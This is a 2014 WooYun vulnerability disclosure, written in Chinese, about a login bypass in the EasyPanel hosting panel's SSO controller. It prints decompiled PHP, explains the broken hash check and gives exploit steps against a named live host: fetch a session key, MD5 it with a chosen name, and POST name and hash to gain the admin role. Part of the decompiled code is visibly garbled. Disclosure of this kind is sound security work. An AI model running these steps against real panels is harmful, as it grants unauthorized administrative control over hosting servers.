当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080099

漏洞标题:EasyPanel 绕过登陆GETSHELL

相关厂商:kanglesoft.com

漏洞作者: Matt

提交时间:2014-10-20 17:01

修复时间:2014-12-30 14:44

公开时间:2014-12-30 14:44

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-20: 细节已通知厂商并且等待厂商处理中
2014-10-25: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-12-19: 细节向核心白帽子及相关领域专家公开
2014-12-29: 细节向普通白帽子公开
2015-01-08: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

EasyPanel 绕过登陆GETSHELL

详细说明:

通过解密代码后发现 其中
admin/contral/sso.ctl.php

<?php
/*********************/
/* iRadikal.com */
/* NWS */
/* IonCube 7 support */
/* by: */
/* tokk250 */
/*********************/
class SsoControl extends Control
{
public function hello( )
{
session_unset( );
$base_passwd = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_0123456789";
$len = 264;
$sess_key = "";
$i = 248;
while ( $i < $len )
{
++$i;
}
$url = $_REQUEST['url']."&r=".$sess_key;//会吧我们需要的key穿到url上
$_SESSION['sess_key'] = $sess_key;
header( "Location: ".$url );
exit( );
}
public function login( )
{
if ( $_SESSION['sess_key'] == "" )
{
exit( "error,sess_key is empty" );
}
$str = $_REQUEST['r'].$name.$_SESSION[sess_key].$skey;//这里对key进行加密
//name和skey我们不可控,但是我输出看了一下,默认是空
//so?
$md5str = $_REQUEST['name'];
if ( strtolower( $md5str ) == $_REQUEST['s'] && $_REQUEST['s'] != "" )
{
registerRole( "admin", "admin" );
header( "Location: ?c=vhost&a=showVhost&name=".$name );
exit( );
}
else
{
exit( "login failed" );
}
}
}
?>


一看明显可以绕过登陆 但是测试一直不成功,忽然想到是不是解密出了问题
然后发现其中一个可疑的地方

strtolower( $md5str )


这里应该是md5($str)才说得通把。通过这个来利用

漏洞证明:

利用方法
打开http://360.yazv.com:3312/admin/?c=sso&a=hello
获取一个SESS KEY 然后把获取到的SESS KEY
MD5(12sess key) 这样md5加密一下
然后提交
http://360.yazv.com:3312/admin/?c=sso&a=login
POST
name=12&s=910048b41274d75474c7cf701bb21375

1.jpg

2.png

修复方案:

你猜

版权声明:转载请注明来源 Matt@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-30 14:44

厂商回复:

最新状态:

2014-11-21:初始化时设置安全码即可。